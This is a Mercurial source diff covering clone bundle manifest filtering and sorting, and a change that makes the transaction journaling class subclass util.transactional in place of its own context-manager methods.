1870 if key == 'BUNDLESPEC':
1871 try:
1871 try:
1872 comp, version, params = parsebundlespec(repo, value,
1872 comp, version, params = parsebundlespec(repo, value,
1873 externalnames=True)
1873 externalnames=True)
1874 attrs['COMPRESSION'] = comp
1874 attrs['COMPRESSION'] = comp
1875 attrs['VERSION'] = version
1875 attrs['VERSION'] = version
1876 except error.InvalidBundleSpecification:
1876 except error.InvalidBundleSpecification:
1877 pass
1877 pass
1878 except error.UnsupportedBundleSpecification:
1878 except error.UnsupportedBundleSpecification:
1879 pass
1879 pass
1880
1880
1881 m.append(attrs)
1881 m.append(attrs)
1882
1882
1883 return m
1883 return m
1884
1884
1885 def filterclonebundleentries(repo, entries):
1885 def filterclonebundleentries(repo, entries):
1886 """Remove incompatible clone bundle manifest entries.
1886 """Remove incompatible clone bundle manifest entries.
1887
1887
1888 Accepts a list of entries parsed with ``parseclonebundlesmanifest``
1888 Accepts a list of entries parsed with ``parseclonebundlesmanifest``
1889 and returns a new list consisting of only the entries that this client
1889 and returns a new list consisting of only the entries that this client
1890 should be able to apply.
1890 should be able to apply.
1891
1891
1892 There is no guarantee we'll be able to apply all returned entries because
1892 There is no guarantee we'll be able to apply all returned entries because
1893 the metadata we use to filter on may be missing or wrong.
1893 the metadata we use to filter on may be missing or wrong.
1894 """
1894 """
1895 newentries = []
1895 newentries = []
1896 for entry in entries:
1896 for entry in entries:
1897 spec = entry.get('BUNDLESPEC')
1897 spec = entry.get('BUNDLESPEC')
1898 if spec:
1898 if spec:
1899 try:
1899 try:
1900 parsebundlespec(repo, spec, strict=True)
1900 parsebundlespec(repo, spec, strict=True)
1901 except error.InvalidBundleSpecification as e:
1901 except error.InvalidBundleSpecification as e:
1902 repo.ui.debug(str(e) + '\n')
1902 repo.ui.debug(str(e) + '\n')
1903 continue
1903 continue
1904 except error.UnsupportedBundleSpecification as e:
1904 except error.UnsupportedBundleSpecification as e:
1905 repo.ui.debug('filtering %s because unsupported bundle '
1905 repo.ui.debug('filtering %s because unsupported bundle '
1906 'spec: %s\n' % (entry['URL'], str(e)))
1906 'spec: %s\n' % (entry['URL'], str(e)))
1907 continue
1907 continue
1908
1908
1909 if 'REQUIRESNI' in entry and not sslutil.hassni:
1909 if 'REQUIRESNI' in entry and not sslutil.hassni:
1910 repo.ui.debug('filtering %s because SNI not supported\n' %
1910 repo.ui.debug('filtering %s because SNI not supported\n' %
1911 entry['URL'])
1911 entry['URL'])
1912 continue
1912 continue
1913
1913
1914 newentries.append(entry)
1914 newentries.append(entry)
1915
1915
1916 return newentries
1916 return newentries
1917
1917
1918 class clonebundleentry(object):
1918 class clonebundleentry(object):
1919 """Represents an item in a clone bundles manifest.
1919 """Represents an item in a clone bundles manifest.
1920
1920
1921 This rich class is needed to support sorting since sorted() in Python 3
1921 This rich class is needed to support sorting since sorted() in Python 3
1922 doesn't support ``cmp`` and our comparison is complex enough that ``key=``
1922 doesn't support ``cmp`` and our comparison is complex enough that ``key=``
1923 won't work.
1923 won't work.
1924 """
1924 """
1925
1925
1926 def __init__(self, value, prefers):
1926 def __init__(self, value, prefers):
1927 self.value = value
1927 self.value = value
1928 self.prefers = prefers
1928 self.prefers = prefers
1929
1929
1930 def _cmp(self, other):
1930 def _cmp(self, other):
1931 for prefkey, prefvalue in self.prefers:
1931 for prefkey, prefvalue in self.prefers:
1932 avalue = self.value.get(prefkey)
1932 avalue = self.value.get(prefkey)
1933 bvalue = other.value.get(prefkey)
1933 bvalue = other.value.get(prefkey)
1934
1934
1935 # Special case for b missing attribute and a matches exactly.
1935 # Special case for b missing attribute and a matches exactly.
1936 if avalue is not None and bvalue is None and avalue == prefvalue:
1936 if avalue is not None and bvalue is None and avalue == prefvalue:
1937 return -1
1937 return -1
1938
1938
1939 # Special case for a missing attribute and b matches exactly.
1939 # Special case for a missing attribute and b matches exactly.
1940 if bvalue is not None and avalue is None and bvalue == prefvalue:
1940 if bvalue is not None and avalue is None and bvalue == prefvalue:
1941 return 1
1941 return 1
1942
1942
1943 # We can't compare unless attribute present on both.
1943 # We can't compare unless attribute present on both.
1944 if avalue is None or bvalue is None:
1944 if avalue is None or bvalue is None:
1945 continue
1945 continue
1946
1946
1947 # Same values should fall back to next attribute.
1947 # Same values should fall back to next attribute.
1948 if avalue == bvalue:
1948 if avalue == bvalue:
1949 continue
1949 continue
1950
1950
1951 # Exact matches come first.
1951 # Exact matches come first.
1952 if avalue == prefvalue:
1952 if avalue == prefvalue:
1953 return -1
1953 return -1
1954 if bvalue == prefvalue:
1954 if bvalue == prefvalue:
1955 return 1
1955 return 1
1956
1956
1957 # Fall back to next attribute.
1957 # Fall back to next attribute.
1958 continue
1958 continue
1959
1959
1960 # If we got here we couldn't sort by attributes and prefers. Fall
1960 # If we got here we couldn't sort by attributes and prefers. Fall
1961 # back to index order.
1961 # back to index order.
1962 return 0
1962 return 0
1963
1963
1964 def __lt__(self, other):
1964 def __lt__(self, other):
1965 return self._cmp(other) < 0
1965 return self._cmp(other) < 0
1966
1966
1967 def __gt__(self, other):
1967 def __gt__(self, other):
1968 return self._cmp(other) > 0
1968 return self._cmp(other) > 0
1969
1969
1970 def __eq__(self, other):
1970 def __eq__(self, other):
1971 return self._cmp(other) == 0
1971 return self._cmp(other) == 0
1972
1972
1973 def __le__(self, other):
1973 def __le__(self, other):
1974 return self._cmp(other) <= 0
1974 return self._cmp(other) <= 0
1975
1975
1976 def __ge__(self, other):
1976 def __ge__(self, other):
1977 return self._cmp(other) >= 0
1977 return self._cmp(other) >= 0
1978
1978
1979 def __ne__(self, other):
1979 def __ne__(self, other):
1980 return self._cmp(other) != 0
1980 return self._cmp(other) != 0
1981
1981
1982 def sortclonebundleentries(ui, entries):
1982 def sortclonebundleentries(ui, entries):
1983 prefers = ui.configlist('ui', 'clonebundleprefers')
1983 prefers = ui.configlist('ui', 'clonebundleprefers')
1984 if not prefers:
1984 if not prefers:
1985 return list(entries)
1985 return list(entries)
1986
1986
1987 prefers = [p.split('=', 1) for p in prefers]
1987 prefers = [p.split('=', 1) for p in prefers]
1988
1988
1989 items = sorted(clonebundleentry(v, prefers) for v in entries)
1989 items = sorted(clonebundleentry(v, prefers) for v in entries)
1990 return [i.value for i in items]
1990 return [i.value for i in items]
1991
1991
1992 def trypullbundlefromurl(ui, repo, url):
1992 def trypullbundlefromurl(ui, repo, url):
1993 """Attempt to apply a bundle from a URL."""
1993 """Attempt to apply a bundle from a URL."""
1994 with repo.lock(), repo.transaction('bundleurl') as tr:
1994 with repo.lock(), repo.transaction('bundleurl') as tr:
1995 try:
1995 try:
1996 fh = urlmod.open(ui, url)
1996 fh = urlmod.open(ui, url)
1997 cg = readbundle(ui, fh, 'stream')
1997 cg = readbundle(ui, fh, 'stream')
1998
1998
1999 if isinstance(cg, streamclone.streamcloneapplier):
1999 if isinstance(cg, streamclone.streamcloneapplier):
2000 cg.apply(repo)
2000 cg.apply(repo)
2001 else:
2001 else:
2002 bundle2.applybundle(repo, cg, tr, 'clonebundles', url)
2002 bundle2.applybundle(repo, cg, tr, 'clonebundles', url)
2003 return True
2003 return True
2004 except urlerr.httperror as e:
2004 except urlerr.httperror as e:
2005 ui.warn(_('HTTP error fetching bundle: %s\n') % str(e))
2005 ui.warn(_('HTTP error fetching bundle: %s\n') % str(e))
2006 except urlerr.urlerror as e:
2006 except urlerr.urlerror as e:
2007 ui.warn(_('error fetching bundle: %s\n') % e.reason)
2007 ui.warn(_('error fetching bundle: %s\n') % e.reason)
2008
2008
2009 return False
2009 return False
@@ -1,637 +1,627 b''
1 # transaction.py - simple journaling scheme for mercurial
1 # transaction.py - simple journaling scheme for mercurial
2 #
2 #
3 # This transaction scheme is intended to gracefully handle program
3 # This transaction scheme is intended to gracefully handle program
4 # errors and interruptions. More serious failures like system crashes
4 # errors and interruptions. More serious failures like system crashes
5 # can be recovered with an fsck-like tool. As the whole repository is
5 # can be recovered with an fsck-like tool. As the whole repository is
6 # effectively log-structured, this should amount to simply truncating
6 # effectively log-structured, this should amount to simply truncating
7 # anything that isn't referenced in the changelog.
7 # anything that isn't referenced in the changelog.
8 #
8 #
9 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
9 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
10 #
10 #
11 # This software may be used and distributed according to the terms of the
11 # This software may be used and distributed according to the terms of the
12 # GNU General Public License version 2 or any later version.
12 # GNU General Public License version 2 or any later version.
13
13
14 from __future__ import absolute_import
14 from __future__ import absolute_import
15
15
16 import errno
16 import errno
17
17
18 from .i18n import _
18 from .i18n import _
19 from . import (
19 from . import (
20 error,
20 error,
21 util,
21 util,
22 )
22 )
23
23
24 version = 2
24 version = 2
25
25
26 # These are the file generators that should only be executed after the
26 # These are the file generators that should only be executed after the
27 # finalizers are done, since they rely on the output of the finalizers (like
27 # finalizers are done, since they rely on the output of the finalizers (like
28 # the changelog having been written).
28 # the changelog having been written).
29 postfinalizegenerators = {
29 postfinalizegenerators = {
30 'bookmarks',
30 'bookmarks',
31 'dirstate'
31 'dirstate'
32 }
32 }
33
33
34 gengroupall='all'
34 gengroupall='all'
35 gengroupprefinalize='prefinalize'
35 gengroupprefinalize='prefinalize'
36 gengrouppostfinalize='postfinalize'
36 gengrouppostfinalize='postfinalize'
37
37
38 def active(func):
38 def active(func):
39 def _active(self, *args, **kwds):
39 def _active(self, *args, **kwds):
40 if self.count == 0:
40 if self.count == 0:
41 raise error.Abort(_(
41 raise error.Abort(_(
42 'cannot use transaction when it is already committed/aborted'))
42 'cannot use transaction when it is already committed/aborted'))
43 return func(self, *args, **kwds)
43 return func(self, *args, **kwds)
44 return _active
44 return _active
45
45
46 def _playback(journal, report, opener, vfsmap, entries, backupentries,
46 def _playback(journal, report, opener, vfsmap, entries, backupentries,
47 unlink=True, checkambigfiles=None):
47 unlink=True, checkambigfiles=None):
48 for f, o, _ignore in entries:
48 for f, o, _ignore in entries:
49 if o or not unlink:
49 if o or not unlink:
50 checkambig = checkambigfiles and (f, '') in checkambigfiles
50 checkambig = checkambigfiles and (f, '') in checkambigfiles
51 try:
51 try:
52 fp = opener(f, 'a', checkambig=checkambig)
52 fp = opener(f, 'a', checkambig=checkambig)
53 fp.truncate(o)
53 fp.truncate(o)
54 fp.close()
54 fp.close()
55 except IOError:
55 except IOError:
56 report(_("failed to truncate %s\n") % f)
56 report(_("failed to truncate %s\n") % f)
57 raise
57 raise
58 else:
58 else:
59 try:
59 try:
60 opener.unlink(f)
60 opener.unlink(f)
61 except (IOError, OSError) as inst:
61 except (IOError, OSError) as inst:
62 if inst.errno != errno.ENOENT:
62 if inst.errno != errno.ENOENT:
63 raise
63 raise
64
64
65 backupfiles = []
65 backupfiles = []
66 for l, f, b, c in backupentries:
66 for l, f, b, c in backupentries:
67 if l not in vfsmap and c:
67 if l not in vfsmap and c:
68 report("couldn't handle %s: unknown cache location %s\n"
68 report("couldn't handle %s: unknown cache location %s\n"
69 % (b, l))
69 % (b, l))
70 vfs = vfsmap[l]
70 vfs = vfsmap[l]
71 try:
71 try:
72 if f and b:
72 if f and b:
73 filepath = vfs.join(f)
73 filepath = vfs.join(f)
74 backuppath = vfs.join(b)
74 backuppath = vfs.join(b)
75 checkambig = checkambigfiles and (f, l) in checkambigfiles
75 checkambig = checkambigfiles and (f, l) in checkambigfiles
76 try:
76 try:
77 util.copyfile(backuppath, filepath, checkambig=checkambig)
77 util.copyfile(backuppath, filepath, checkambig=checkambig)
78 backupfiles.append(b)
78 backupfiles.append(b)
79 except IOError:
79 except IOError:
80 report(_("failed to recover %s\n") % f)
80 report(_("failed to recover %s\n") % f)
81 else:
81 else:
82 target = f or b
82 target = f or b
83 try:
83 try:
84 vfs.unlink(target)
84 vfs.unlink(target)
85 except (IOError, OSError) as inst:
85 except (IOError, OSError) as inst:
86 if inst.errno != errno.ENOENT:
86 if inst.errno != errno.ENOENT:
87 raise
87 raise
88 except (IOError, OSError, error.Abort) as inst:
88 except (IOError, OSError, error.Abort) as inst:
89 if not c:
89 if not c:
90 raise
90 raise
91
91
92 backuppath = "%s.backupfiles" % journal
92 backuppath = "%s.backupfiles" % journal
93 if opener.exists(backuppath):
93 if opener.exists(backuppath):
94 opener.unlink(backuppath)
94 opener.unlink(backuppath)
95 opener.unlink(journal)
95 opener.unlink(journal)
96 try:
96 try:
97 for f in backupfiles:
97 for f in backupfiles:
98 if opener.exists(f):
98 if opener.exists(f):
99 opener.unlink(f)
99 opener.unlink(f)
100 except (IOError, OSError, error.Abort) as inst:
100 except (IOError, OSError, error.Abort) as inst:
101 # only pure backup file remains, it is sage to ignore any error
101 # only pure backup file remains, it is sage to ignore any error
102 pass
102 pass
103
103
104 class transaction(object):
104 class transaction(util.transactional):
105 def __init__(self, report, opener, vfsmap, journalname, undoname=None,
105 def __init__(self, report, opener, vfsmap, journalname, undoname=None,
106 after=None, createmode=None, validator=None, releasefn=None,
106 after=None, createmode=None, validator=None, releasefn=None,
107 checkambigfiles=None):
107 checkambigfiles=None):
108 """Begin a new transaction
108 """Begin a new transaction
109
109
110 Begins a new transaction that allows rolling back writes in the event of
110 Begins a new transaction that allows rolling back writes in the event of
111 an exception.
111 an exception.
112
112
113 * `after`: called after the transaction has been committed
113 * `after`: called after the transaction has been committed
114 * `createmode`: the mode of the journal file that will be created
114 * `createmode`: the mode of the journal file that will be created
115 * `releasefn`: called after releasing (with transaction and result)
115 * `releasefn`: called after releasing (with transaction and result)
116
116
117 `checkambigfiles` is a set of (path, vfs-location) tuples,
117 `checkambigfiles` is a set of (path, vfs-location) tuples,
118 which determine whether file stat ambiguity should be avoided
118 which determine whether file stat ambiguity should be avoided
119 for corresponded files.
119 for corresponded files.
120 """
120 """
121 self.count = 1
121 self.count = 1
122 self.usages = 1
122 self.usages = 1
123 self.report = report
123 self.report = report
124 # a vfs to the store content
124 # a vfs to the store content
125 self.opener = opener
125 self.opener = opener
126 # a map to access file in various {location -> vfs}
126 # a map to access file in various {location -> vfs}
127 vfsmap = vfsmap.copy()
127 vfsmap = vfsmap.copy()
128 vfsmap[''] = opener # set default value
128 vfsmap[''] = opener # set default value
129 self._vfsmap = vfsmap
129 self._vfsmap = vfsmap
130 self.after = after
130 self.after = after
131 self.entries = []
131 self.entries = []
132 self.map = {}
132 self.map = {}
133 self.journal = journalname
133 self.journal = journalname
134 self.undoname = undoname
134 self.undoname = undoname
135 self._queue = []
135 self._queue = []
136 # A callback to validate transaction content before closing it.
136 # A callback to validate transaction content before closing it.
137 # should raise exception is anything is wrong.
137 # should raise exception is anything is wrong.
138 # target user is repository hooks.
138 # target user is repository hooks.
139 if validator is None:
139 if validator is None:
140 validator = lambda tr: None
140 validator = lambda tr: None
141 self.validator = validator
141 self.validator = validator
142 # A callback to do something just after releasing transaction.
142 # A callback to do something just after releasing transaction.
143 if releasefn is None:
143 if releasefn is None:
144 releasefn = lambda tr, success: None
144 releasefn = lambda tr, success: None
145 self.releasefn = releasefn
145 self.releasefn = releasefn
146
146
147 self.checkambigfiles = set()
147 self.checkambigfiles = set()
148 if checkambigfiles:
148 if checkambigfiles:
149 self.checkambigfiles.update(checkambigfiles)
149 self.checkambigfiles.update(checkambigfiles)
150
150
151 # A dict dedicated to precisely tracking the changes introduced in the
151 # A dict dedicated to precisely tracking the changes introduced in the
152 # transaction.
152 # transaction.
153 self.changes = {}
153 self.changes = {}
154
154
155 # a dict of arguments to be passed to hooks
155 # a dict of arguments to be passed to hooks
156 self.hookargs = {}
156 self.hookargs = {}
157 self.file = opener.open(self.journal, "w")
157 self.file = opener.open(self.journal, "w")
158
158
159 # a list of ('location', 'path', 'backuppath', cache) entries.
159 # a list of ('location', 'path', 'backuppath', cache) entries.
160 # - if 'backuppath' is empty, no file existed at backup time
160 # - if 'backuppath' is empty, no file existed at backup time
161 # - if 'path' is empty, this is a temporary transaction file
161 # - if 'path' is empty, this is a temporary transaction file
162 # - if 'location' is not empty, the path is outside main opener reach.
162 # - if 'location' is not empty, the path is outside main opener reach.
163 # use 'location' value as a key in a vfsmap to find the right 'vfs'
163 # use 'location' value as a key in a vfsmap to find the right 'vfs'
164 # (cache is currently unused)
164 # (cache is currently unused)
165 self._backupentries = []
165 self._backupentries = []
166 self._backupmap = {}
166 self._backupmap = {}
167 self._backupjournal = "%s.backupfiles" % self.journal
167 self._backupjournal = "%s.backupfiles" % self.journal
168 self._backupsfile = opener.open(self._backupjournal, 'w')
168 self._backupsfile = opener.open(self._backupjournal, 'w')
169 self._backupsfile.write('%d\n' % version)
169 self._backupsfile.write('%d\n' % version)
170
170
171 if createmode is not None:
171 if createmode is not None:
172 opener.chmod(self.journal, createmode & 0o666)
172 opener.chmod(self.journal, createmode & 0o666)
173 opener.chmod(self._backupjournal, createmode & 0o666)
173 opener.chmod(self._backupjournal, createmode & 0o666)
174
174
175 # hold file generations to be performed on commit
175 # hold file generations to be performed on commit
176 self._filegenerators = {}
176 self._filegenerators = {}
177 # hold callback to write pending data for hooks
177 # hold callback to write pending data for hooks
178 self._pendingcallback = {}
178 self._pendingcallback = {}
179 # True is any pending data have been written ever
179 # True is any pending data have been written ever
180 self._anypending = False
180 self._anypending = False
181 # holds callback to call when writing the transaction
181 # holds callback to call when writing the transaction
182 self._finalizecallback = {}
182 self._finalizecallback = {}
183 # hold callback for post transaction close
183 # hold callback for post transaction close
184 self._postclosecallback = {}
184 self._postclosecallback = {}
185 # holds callbacks to call during abort
185 # holds callbacks to call during abort
186 self._abortcallback = {}
186 self._abortcallback = {}
187
187
188 def __del__(self):
188 def __del__(self):
189 if self.journal:
189 if self.journal:
190 self._abort()
190 self._abort()
191
191
192 @active
192 @active
193 def startgroup(self):
193 def startgroup(self):
194 """delay registration of file entry
194 """delay registration of file entry
195
195
196 This is used by strip to delay vision of strip offset. The transaction
196 This is used by strip to delay vision of strip offset. The transaction
197 sees either none or all of the strip actions to be done."""
197 sees either none or all of the strip actions to be done."""
198 self._queue.append([])
198 self._queue.append([])
199
199
200 @active
200 @active
201 def endgroup(self):
201 def endgroup(self):
202 """apply delayed registration of file entry.
202 """apply delayed registration of file entry.
203
203
204 This is used by strip to delay vision of strip offset. The transaction
204 This is used by strip to delay vision of strip offset. The transaction
205 sees either none or all of the strip actions to be done."""
205 sees either none or all of the strip actions to be done."""
206 q = self._queue.pop()
206 q = self._queue.pop()
207 for f, o, data in q:
207 for f, o, data in q:
208 self._addentry(f, o, data)
208 self._addentry(f, o, data)
209
209
210 @active
210 @active
211 def add(self, file, offset, data=None):
211 def add(self, file, offset, data=None):
212 """record the state of an append-only file before update"""
212 """record the state of an append-only file before update"""
213 if file in self.map or file in self._backupmap:
213 if file in self.map or file in self._backupmap:
214 return
214 return
215 if self._queue:
215 if self._queue:
216 self._queue[-1].append((file, offset, data))
216 self._queue[-1].append((file, offset, data))
217 return
217 return
218
218
219 self._addentry(file, offset, data)
219 self._addentry(file, offset, data)
220
220
221 def _addentry(self, file, offset, data):
221 def _addentry(self, file, offset, data):
222 """add a append-only entry to memory and on-disk state"""
222 """add a append-only entry to memory and on-disk state"""
223 if file in self.map or file in self._backupmap:
223 if file in self.map or file in self._backupmap:
224 return
224 return
225 self.entries.append((file, offset, data))
225 self.entries.append((file, offset, data))
226 self.map[file] = len(self.entries) - 1
226 self.map[file] = len(self.entries) - 1
227 # add enough data to the journal to do the truncate
227 # add enough data to the journal to do the truncate
228 self.file.write("%s\0%d\n" % (file, offset))
228 self.file.write("%s\0%d\n" % (file, offset))
229 self.file.flush()
229 self.file.flush()
230
230
231 @active
231 @active
232 def addbackup(self, file, hardlink=True, location=''):
232 def addbackup(self, file, hardlink=True, location=''):
233 """Adds a backup of the file to the transaction
233 """Adds a backup of the file to the transaction
234
234
235 Calling addbackup() creates a hardlink backup of the specified file
235 Calling addbackup() creates a hardlink backup of the specified file
236 that is used to recover the file in the event of the transaction
236 that is used to recover the file in the event of the transaction
237 aborting.
237 aborting.
238
238
239 * `file`: the file path, relative to .hg/store
239 * `file`: the file path, relative to .hg/store
240 * `hardlink`: use a hardlink to quickly create the backup
240 * `hardlink`: use a hardlink to quickly create the backup
241 """
241 """
242 if self._queue:
242 if self._queue:
243 msg = 'cannot use transaction.addbackup inside "group"'
243 msg = 'cannot use transaction.addbackup inside "group"'
244 raise error.ProgrammingError(msg)
244 raise error.ProgrammingError(msg)
245
245
246 if file in self.map or file in self._backupmap:
246 if file in self.map or file in self._backupmap:
247 return
247 return
248 vfs = self._vfsmap[location]
248 vfs = self._vfsmap[location]
249 dirname, filename = vfs.split(file)
249 dirname, filename = vfs.split(file)
250 backupfilename = "%s.backup.%s" % (self.journal, filename)
250 backupfilename = "%s.backup.%s" % (self.journal, filename)
251 backupfile = vfs.reljoin(dirname, backupfilename)
251 backupfile = vfs.reljoin(dirname, backupfilename)
252 if vfs.exists(file):
252 if vfs.exists(file):
253 filepath = vfs.join(file)
253 filepath = vfs.join(file)
254 backuppath = vfs.join(backupfile)
254 backuppath = vfs.join(backupfile)
255 util.copyfile(filepath, backuppath, hardlink=hardlink)
255 util.copyfile(filepath, backuppath, hardlink=hardlink)
256 else:
256 else:
257 backupfile = ''
257 backupfile = ''
258
258
259 self._addbackupentry((location, file, backupfile, False))
259 self._addbackupentry((location, file, backupfile, False))
260
260
261 def _addbackupentry(self, entry):
261 def _addbackupentry(self, entry):
262 """register a new backup entry and write it to disk"""
262 """register a new backup entry and write it to disk"""
263 self._backupentries.append(entry)
263 self._backupentries.append(entry)
264 self._backupmap[entry[1]] = len(self._backupentries) - 1
264 self._backupmap[entry[1]] = len(self._backupentries) - 1
265 self._backupsfile.write("%s\0%s\0%s\0%d\n" % entry)
265 self._backupsfile.write("%s\0%s\0%s\0%d\n" % entry)
266 self._backupsfile.flush()
266 self._backupsfile.flush()
267
267
268 @active
268 @active
269 def registertmp(self, tmpfile, location=''):
269 def registertmp(self, tmpfile, location=''):
270 """register a temporary transaction file
270 """register a temporary transaction file
271
271
272 Such files will be deleted when the transaction exits (on both
272 Such files will be deleted when the transaction exits (on both
273 failure and success).
273 failure and success).
274 """
274 """
275 self._addbackupentry((location, '', tmpfile, False))
275 self._addbackupentry((location, '', tmpfile, False))
276
276
277 @active
277 @active
278 def addfilegenerator(self, genid, filenames, genfunc, order=0,
278 def addfilegenerator(self, genid, filenames, genfunc, order=0,
279 location=''):
279 location=''):
280 """add a function to generates some files at transaction commit
280 """add a function to generates some files at transaction commit
281
281
282 The `genfunc` argument is a function capable of generating proper
282 The `genfunc` argument is a function capable of generating proper
283 content of each entry in the `filename` tuple.
283 content of each entry in the `filename` tuple.
284
284
285 At transaction close time, `genfunc` will be called with one file
285 At transaction close time, `genfunc` will be called with one file
286 object argument per entries in `filenames`.
286 object argument per entries in `filenames`.
287
287
288 The transaction itself is responsible for the backup, creation and
288 The transaction itself is responsible for the backup, creation and
289 final write of such file.
289 final write of such file.
290
290
291 The `genid` argument is used to ensure the same set of file is only
291 The `genid` argument is used to ensure the same set of file is only
292 generated once. Call to `addfilegenerator` for a `genid` already
292 generated once. Call to `addfilegenerator` for a `genid` already
293 present will overwrite the old entry.
293 present will overwrite the old entry.
294
294
295 The `order` argument may be used to control the order in which multiple
295 The `order` argument may be used to control the order in which multiple
296 generator will be executed.
296 generator will be executed.
297
297
298 The `location` arguments may be used to indicate the files are located
298 The `location` arguments may be used to indicate the files are located
299 outside of the the standard directory for transaction. It should match
299 outside of the the standard directory for transaction. It should match
300 one of the key of the `transaction.vfsmap` dictionary.
300 one of the key of the `transaction.vfsmap` dictionary.
301 """
301 """
302 # For now, we are unable to do proper backup and restore of custom vfs
302 # For now, we are unable to do proper backup and restore of custom vfs
303 # but for bookmarks that are handled outside this mechanism.
303 # but for bookmarks that are handled outside this mechanism.
304 self._filegenerators[genid] = (order, filenames, genfunc, location)
304 self._filegenerators[genid] = (order, filenames, genfunc, location)
305
305
306 @active
306 @active
307 def removefilegenerator(self, genid):
307 def removefilegenerator(self, genid):
308 """reverse of addfilegenerator, remove a file generator function"""
308 """reverse of addfilegenerator, remove a file generator function"""
309 if genid in self._filegenerators:
309 if genid in self._filegenerators:
310 del self._filegenerators[genid]
310 del self._filegenerators[genid]
311
311
312 def _generatefiles(self, suffix='', group=gengroupall):
312 def _generatefiles(self, suffix='', group=gengroupall):
313 # write files registered for generation
313 # write files registered for generation
314 any = False
314 any = False
315 for id, entry in sorted(self._filegenerators.iteritems()):
315 for id, entry in sorted(self._filegenerators.iteritems()):
316 any = True
316 any = True
317 order, filenames, genfunc, location = entry
317 order, filenames, genfunc, location = entry
318
318
319 # for generation at closing, check if it's before or after finalize
319 # for generation at closing, check if it's before or after finalize
320 postfinalize = group == gengrouppostfinalize
320 postfinalize = group == gengrouppostfinalize
321 if (group != gengroupall and
321 if (group != gengroupall and
322 (id in postfinalizegenerators) != (postfinalize)):
322 (id in postfinalizegenerators) != (postfinalize)):
323 continue
323 continue
324
324
325 vfs = self._vfsmap[location]
325 vfs = self._vfsmap[location]
326 files = []
326 files = []
327 try:
327 try:
328 for name in filenames:
328 for name in filenames:
329 name += suffix
329 name += suffix
330 if suffix:
330 if suffix:
331 self.registertmp(name, location=location)
331 self.registertmp(name, location=location)
332 checkambig = False
332 checkambig = False
333 else:
333 else:
334 self.addbackup(name, location=location)
334 self.addbackup(name, location=location)
335 checkambig = (name, location) in self.checkambigfiles
335 checkambig = (name, location) in self.checkambigfiles
336 files.append(vfs(name, 'w', atomictemp=True,
336 files.append(vfs(name, 'w', atomictemp=True,
337 checkambig=checkambig))
337 checkambig=checkambig))
338 genfunc(*files)
338 genfunc(*files)
339 finally:
339 finally:
340 for f in files:
340 for f in files:
341 f.close()
341 f.close()
342 return any
342 return any
343
343
344 @active
344 @active
345 def find(self, file):
345 def find(self, file):
346 if file in self.map:
346 if file in self.map:
347 return self.entries[self.map[file]]
347 return self.entries[self.map[file]]
348 if file in self._backupmap:
348 if file in self._backupmap:
349 return self._backupentries[self._backupmap[file]]
349 return self._backupentries[self._backupmap[file]]
350 return None
350 return None
351
351
352 @active
352 @active
353 def replace(self, file, offset, data=None):
353 def replace(self, file, offset, data=None):
354 '''
354 '''
355 replace can only replace already committed entries
355 replace can only replace already committed entries
356 that are not pending in the queue
356 that are not pending in the queue
357 '''
357 '''
358
358
359 if file not in self.map:
359 if file not in self.map:
360 raise KeyError(file)
360 raise KeyError(file)
361 index = self.map[file]
361 index = self.map[file]
362 self.entries[index] = (file, offset, data)
362 self.entries[index] = (file, offset, data)
363 self.file.write("%s\0%d\n" % (file, offset))
363 self.file.write("%s\0%d\n" % (file, offset))
364 self.file.flush()
364 self.file.flush()
365
365
366 @active
366 @active
367 def nest(self):
367 def nest(self):
368 self.count += 1
368 self.count += 1
369 self.usages += 1
369 self.usages += 1
370 return self
370 return self
371
371
372 def release(self):
372 def release(self):
373 if self.count > 0:
373 if self.count > 0:
374 self.usages -= 1
374 self.usages -= 1
375 # if the transaction scopes are left without being closed, fail
375 # if the transaction scopes are left without being closed, fail
376 if self.count > 0 and self.usages == 0:
376 if self.count > 0 and self.usages == 0:
377 self._abort()
377 self._abort()
378
378
379 def __enter__(self):
380 return self
381
382 def __exit__(self, exc_type, exc_val, exc_tb):
383 try:
384 if exc_type is None:
385 self.close()
386 finally:
387 self.release()
388
389 def running(self):
379 def running(self):
390 return self.count > 0
380 return self.count > 0
391
381
392 def addpending(self, category, callback):
382 def addpending(self, category, callback):
393 """add a callback to be called when the transaction is pending
383 """add a callback to be called when the transaction is pending
394
384
395 The transaction will be given as callback's first argument.
385 The transaction will be given as callback's first argument.
396
386
397 Category is a unique identifier to allow overwriting an old callback
387 Category is a unique identifier to allow overwriting an old callback
398 with a newer callback.
388 with a newer callback.
399 """
389 """
400 self._pendingcallback[category] = callback
390 self._pendingcallback[category] = callback
401
391
402 @active
392 @active
403 def writepending(self):
393 def writepending(self):
404 '''write pending file to temporary version
394 '''write pending file to temporary version
405
395
406 This is used to allow hooks to view a transaction before commit'''
396 This is used to allow hooks to view a transaction before commit'''
407 categories = sorted(self._pendingcallback)
397 categories = sorted(self._pendingcallback)
408 for cat in categories:
398 for cat in categories:
409 # remove callback since the data will have been flushed
399 # remove callback since the data will have been flushed
410 any = self._pendingcallback.pop(cat)(self)
400 any = self._pendingcallback.pop(cat)(self)
411 self._anypending = self._anypending or any
401 self._anypending = self._anypending or any
412 self._anypending |= self._generatefiles(suffix='.pending')
402 self._anypending |= self._generatefiles(suffix='.pending')
413 return self._anypending
403 return self._anypending
414
404
415 @active
405 @active
416 def addfinalize(self, category, callback):
406 def addfinalize(self, category, callback):
417 """add a callback to be called when the transaction is closed
407 """add a callback to be called when the transaction is closed
418
408
419 The transaction will be given as callback's first argument.
409 The transaction will be given as callback's first argument.
420
410
421 Category is a unique identifier to allow overwriting old callbacks with
411 Category is a unique identifier to allow overwriting old callbacks with
422 newer callbacks.
412 newer callbacks.
423 """
413 """
424 self._finalizecallback[category] = callback
414 self._finalizecallback[category] = callback
425
415
426 @active
416 @active
427 def addpostclose(self, category, callback):
417 def addpostclose(self, category, callback):
428 """add or replace a callback to be called after the transaction closed
418 """add or replace a callback to be called after the transaction closed
429
419
430 The transaction will be given as callback's first argument.
420 The transaction will be given as callback's first argument.
431
421
432 Category is a unique identifier to allow overwriting an old callback
422 Category is a unique identifier to allow overwriting an old callback
433 with a newer callback.
423 with a newer callback.
434 """
424 """
435 self._postclosecallback[category] = callback
425 self._postclosecallback[category] = callback
436
426
437 @active
427 @active
438 def getpostclose(self, category):
428 def getpostclose(self, category):
439 """return a postclose callback added before, or None"""
429 """return a postclose callback added before, or None"""
440 return self._postclosecallback.get(category, None)
430 return self._postclosecallback.get(category, None)
441
431
442 @active
432 @active
443 def addabort(self, category, callback):
433 def addabort(self, category, callback):
